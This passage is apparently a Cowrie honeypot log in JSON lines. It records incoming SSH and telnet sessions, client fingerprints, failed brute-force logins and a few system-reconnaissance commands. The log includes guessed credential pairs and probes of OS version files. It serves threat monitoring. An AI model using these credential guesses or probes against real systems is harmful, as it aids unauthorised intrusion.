{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.020030Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.022567Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.024859Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.653439Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":46820,"dst_ip":"10.17.0.5","dst_port":22,"session":"47f019d1654a","protocol":"ssh","message":"New connection: 162.240.75.182:46820 (10.17.0.5:22) [session: 47f019d1654a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:36.474751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:36.478462Z","src_ip":"162.240.75.182","session":"47f019d1654a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:36.560617Z","src_ip":"162.240.75.182","session":"47f019d1654a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:36.636298Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"enjin","password":"enjin123","message":"login attempt [enjin/enjin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:36.807313Z","src_ip":"162.240.75.182","session":"47f019d1654a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:38.176702Z","src_ip":"162.240.75.182","session":"47f019d1654a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.5224072933197,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:45.970131Z","src_ip":"170.64.224.25","session":"adc8720e0294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36212,"dst_ip":"159.203.135.109","dst_port":23,"session":"59f325580ae5","protocol":"telnet","message":"New connection: 170.64.224.25:36212 (159.203.135.109:23) [session: 59f325580ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:51.611159Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.56.68.133","src_port":35494,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3aa8c1674ad","protocol":"ssh","message":"New connection: 45.56.68.133:35494 (10.17.0.5:22) [session: c3aa8c1674ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.660563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.664985Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.709941Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:db:b6:cc:8e:62:09:6f:eb:c1:99:50:24:30:72:29","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMe1aRTSfMPFB6CffXPwdrgsLMgwny5kfQdSKHW3S3jHdPOmXAdC8lu+hXgjkGIonpoa5kC6KJqwQq6AsdZL9rHgYZhp/4EPwwAXKKYUO8R3UV7nHw9OuBebJ9Y3e+GcLeXlFvtXSoAZ/cJQ5FKC40BOGM5D2XNKZkKpREALxwBRAAAAFQD0J06d0YRPMEXEVVC5HNWA638HrQAAAIEAuWkY5yFG8jMQot3Md8B4ELzadwQ1TKMpHYDH2H/ie8/AIRFpeKmeju8Ze/EXh+aVrVtqIF+5FM1ONCA+HwPWr+Sjg/s1rlSLSgi2+oHjmu1vLnLVZEfKyLbU4Rt337yJ5myiSHqOPA4iYRbvMMikoxbt0SMm1QcagYC98McYOkgAAACAe0TS57FRx0uV6nHXYqfO9aTHdmTmpnF7EY9H9MsR3kn/z3fGoHubeHjziKTMF7Klgrgl7NoDY+Cpa+B0VGWecIG3xTx1t/WgCR2GPHXIz66qOaTWYJip70H8Y01vomEFjEsWbfWngx3VTdch7EMrAjzgdC2UbVCtlctXuf9dUug=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint fb:db:b6:cc:8e:62:09:6f:eb:c1:99:50:24:30:72:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.916523Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:db:b6:cc:8e:62:09:6f:eb:c1:99:50:24:30:72:29","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMe1aRTSfMPFB6CffXPwdrgsLMgwny5kfQdSKHW3S3jHdPOmXAdC8lu+hXgjkGIonpoa5kC6KJqwQq6AsdZL9rHgYZhp/4EPwwAXKKYUO8R3UV7nHw9OuBebJ9Y3e+GcLeXlFvtXSoAZ/cJQ5FKC40BOGM5D2XNKZkKpREALxwBRAAAAFQD0J06d0YRPMEXEVVC5HNWA638HrQAAAIEAuWkY5yFG8jMQot3Md8B4ELzadwQ1TKMpHYDH2H/ie8/AIRFpeKmeju8Ze/EXh+aVrVtqIF+5FM1ONCA+HwPWr+Sjg/s1rlSLSgi2+oHjmu1vLnLVZEfKyLbU4Rt337yJ5myiSHqOPA4iYRbvMMikoxbt0SMm1QcagYC98McYOkgAAACAe0TS57FRx0uV6nHXYqfO9aTHdmTmpnF7EY9H9MsR3kn/z3fGoHubeHjziKTMF7Klgrgl7NoDY+Cpa+B0VGWecIG3xTx1t/WgCR2GPHXIz66qOaTWYJip70H8Y01vomEFjEsWbfWngx3VTdch7EMrAjzgdC2UbVCtlctXuf9dUug=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.919363Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:4c:f2:69:cc:f5:4d:fd:3c:2f:62:e0:7b:5d:79:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNurDmeQ/4vEEugVQvDzz+/z5L74XnJqp0ax0F4LXbtUAXteRoUGDWIAb21tGOZy3n8YYIQwqeEuc3w14JZIfhP0PHL3ZdDdGGt/gHXFv9/0EW1Ha10csq0+y7hP6TJ66u+7ibSL/Zm57hJgVfOjygsJUii3qWz8QJdPNcMePvnYOsn4nGsl5lvflZghhPu5oNVDONmNOjrAkbQIgVxBr6HSmYJI3UJw8wc3nH917PhC3NaviuFT9j/2LqWLovfDeJw7h9ClU11mljlR9llVIWbEEZsozW38VSZnYYpJMN7i3tVHBQk5LHVdhWiJ712TJaTwDctO4s1K1Rw7plgktH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:4c:f2:69:cc:f5:4d:fd:3c:2f:62:e0:7b:5d:79:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.964587Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:4c:f2:69:cc:f5:4d:fd:3c:2f:62:e0:7b:5d:79:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNurDmeQ/4vEEugVQvDzz+/z5L74XnJqp0ax0F4LXbtUAXteRoUGDWIAb21tGOZy3n8YYIQwqeEuc3w14JZIfhP0PHL3ZdDdGGt/gHXFv9/0EW1Ha10csq0+y7hP6TJ66u+7ibSL/Zm57hJgVfOjygsJUii3qWz8QJdPNcMePvnYOsn4nGsl5lvflZghhPu5oNVDONmNOjrAkbQIgVxBr6HSmYJI3UJw8wc3nH917PhC3NaviuFT9j/2LqWLovfDeJw7h9ClU11mljlR9llVIWbEEZsozW38VSZnYYpJMN7i3tVHBQk5LHVdhWiJ712TJaTwDctO4s1K1Rw7plgktH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:52.968996Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:a7:ef:83:b2:98:59:10:a5:4a:d0:2e:58:ff:0e:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeqTBldn9FeiixzpkAezX+2RbXCAJEPjl5H2/Kh9t4ETvQ8S1K+SV2pjMn5JDgNgipXNWeUwsUOtul6pq4KpFaX3f1SlW/7mMhs885Sr+TsyxHaDRcNWlJhg7rG3lxaqLjPrJOhhgbjvxGiDdoqpG4C3UEXohLb9SKdSfiaRt3+FNPVcRLpQ0KfwcEIOR2p3REJcmmdZF+GPL7YjzWduH1dVa9B92rUdd2kbq0V6X6gQT9cW3ZipsYyyMDORRg+nhRIx1msIzNJ3IuhhHZTqsFK5MlILd4QZZE5r2DLW5Ve60IBk401ZlchdchRc+XvGjhCyhZQXiwnGIGzJOAi7Ob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:a7:ef:83:b2:98:59:10:a5:4a:d0:2e:58:ff:0e:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.014383Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:a7:ef:83:b2:98:59:10:a5:4a:d0:2e:58:ff:0e:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeqTBldn9FeiixzpkAezX+2RbXCAJEPjl5H2/Kh9t4ETvQ8S1K+SV2pjMn5JDgNgipXNWeUwsUOtul6pq4KpFaX3f1SlW/7mMhs885Sr+TsyxHaDRcNWlJhg7rG3lxaqLjPrJOhhgbjvxGiDdoqpG4C3UEXohLb9SKdSfiaRt3+FNPVcRLpQ0KfwcEIOR2p3REJcmmdZF+GPL7YjzWduH1dVa9B92rUdd2kbq0V6X6gQT9cW3ZipsYyyMDORRg+nhRIx1msIzNJ3IuhhHZTqsFK5MlILd4QZZE5r2DLW5Ve60IBk401ZlchdchRc+XvGjhCyhZQXiwnGIGzJOAi7Ob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.017139Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:c3:e8:eb:84:31:d1:31:e5:7a:32:9f:c5:a9:3f:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVoKdSI2k9SX4js7Uxdsv2Bv/p8BPiV4J589YTz84aPUieunYpGI4DbbCi5ws4Ifo+XkkxSEU9X6jvj7Zy11PBnaGPfn7UsUZx6kj1jSKvJUtKto4euARdcPXIO1k7uP7x8vEQ7+0L9J84jkSvqBkIVaRbSs/yIRIrY8JPdJGIZrVI+saud2iWPhthP0vUr4r1gHvM1zRvQDTsbHuvIi5QpmcLEghNE7GWXgrA1SElzBcsbw7r15gPjFx4O5OeNjmK6efosxyroh/xJGb+m+SYCULldePnwf13r/ndcxEI3toYozX1nEJJmwZ/XP3h3DBErsgnhqqMCHUvUwGjBBpAvu6m6s6YErTNTMw5LOWdqw4GoZ07QrP88nE49Ig1WjV2M6oFbBoBBfHcs3+j3/pT5/AOffduhMFdBnJU0WRZYF3j57oXKVPu8Yh/4/E3ZRLzv31Em0coxS+KW9niTQv8j0QCCC2DlPQWUZDL+xMTShGjCOYzB/qqUXKfioCo0d8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:c3:e8:eb:84:31:d1:31:e5:7a:32:9f:c5:a9:3f:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.062412Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:c3:e8:eb:84:31:d1:31:e5:7a:32:9f:c5:a9:3f:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVoKdSI2k9SX4js7Uxdsv2Bv/p8BPiV4J589YTz84aPUieunYpGI4DbbCi5ws4Ifo+XkkxSEU9X6jvj7Zy11PBnaGPfn7UsUZx6kj1jSKvJUtKto4euARdcPXIO1k7uP7x8vEQ7+0L9J84jkSvqBkIVaRbSs/yIRIrY8JPdJGIZrVI+saud2iWPhthP0vUr4r1gHvM1zRvQDTsbHuvIi5QpmcLEghNE7GWXgrA1SElzBcsbw7r15gPjFx4O5OeNjmK6efosxyroh/xJGb+m+SYCULldePnwf13r/ndcxEI3toYozX1nEJJmwZ/XP3h3DBErsgnhqqMCHUvUwGjBBpAvu6m6s6YErTNTMw5LOWdqw4GoZ07QrP88nE49Ig1WjV2M6oFbBoBBfHcs3+j3/pT5/AOffduhMFdBnJU0WRZYF3j57oXKVPu8Yh/4/E3ZRLzv31Em0coxS+KW9niTQv8j0QCCC2DlPQWUZDL+xMTShGjCOYzB/qqUXKfioCo0d8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.065656Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:3f:24:58:09:b8:76:cb:54:e0:96:ae:7f:8d:f6:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0H1G7BFgohAG1pFq+tbll95jVwXPt3kdTHr8NbxxnRzRt74/A2XULKBPTh7KgxcCKAIDBLxowDkcGYGb/4xjqiKUuNSvWBNvqrjsb3l+55Eu0GFbae0qgILMASbKR+ekOfZlPjPKJS/R0r8xOCWu88+Ovwgx8ueuc4zsK7tWwO6vMww0HAKYAROEtalCAwhdD4JrFDvRKpcSddr3uVmfjmkR0mMtmWSD487qG1KB5sc6xA9TL44TSh0UWNYR4HbtXgsxNcBc4k06j2ZxElCzCBuPXwIkMfHCa4lA3dNdvUw9N5YPmVvqKvAMwNgc1GoSzQmSJBdkS8nNVsl+8B7B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:3f:24:58:09:b8:76:cb:54:e0:96:ae:7f:8d:f6:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.111088Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:3f:24:58:09:b8:76:cb:54:e0:96:ae:7f:8d:f6:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0H1G7BFgohAG1pFq+tbll95jVwXPt3kdTHr8NbxxnRzRt74/A2XULKBPTh7KgxcCKAIDBLxowDkcGYGb/4xjqiKUuNSvWBNvqrjsb3l+55Eu0GFbae0qgILMASbKR+ekOfZlPjPKJS/R0r8xOCWu88+Ovwgx8ueuc4zsK7tWwO6vMww0HAKYAROEtalCAwhdD4JrFDvRKpcSddr3uVmfjmkR0mMtmWSD487qG1KB5sc6xA9TL44TSh0UWNYR4HbtXgsxNcBc4k06j2ZxElCzCBuPXwIkMfHCa4lA3dNdvUw9N5YPmVvqKvAMwNgc1GoSzQmSJBdkS8nNVsl+8B7B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.114332Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:53.160136Z","src_ip":"45.56.68.133","session":"c3aa8c1674ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":46546,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b74d9a928c","protocol":"ssh","message":"New connection: 198.1.75.59:46546 (10.17.0.5:22) [session: 47b74d9a928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:54.452272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:54.456050Z","src_ip":"198.1.75.59","session":"47b74d9a928c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:54.544566Z","src_ip":"198.1.75.59","session":"47b74d9a928c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nassau_bahamas","password":"nassau123","message":"login attempt [nassau_bahamas/nassau123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:54.813329Z","src_ip":"198.1.75.59","session":"47b74d9a928c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:55.904543Z","src_ip":"198.1.75.59","session":"47b74d9a928c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":39760,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d48e05238a","protocol":"ssh","message":"New connection: 20.228.179.34:39760 (159.203.135.109:22) [session: 13d48e05238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:10.541255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:14:10.545599Z","src_ip":"20.228.179.34","session":"13d48e05238a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 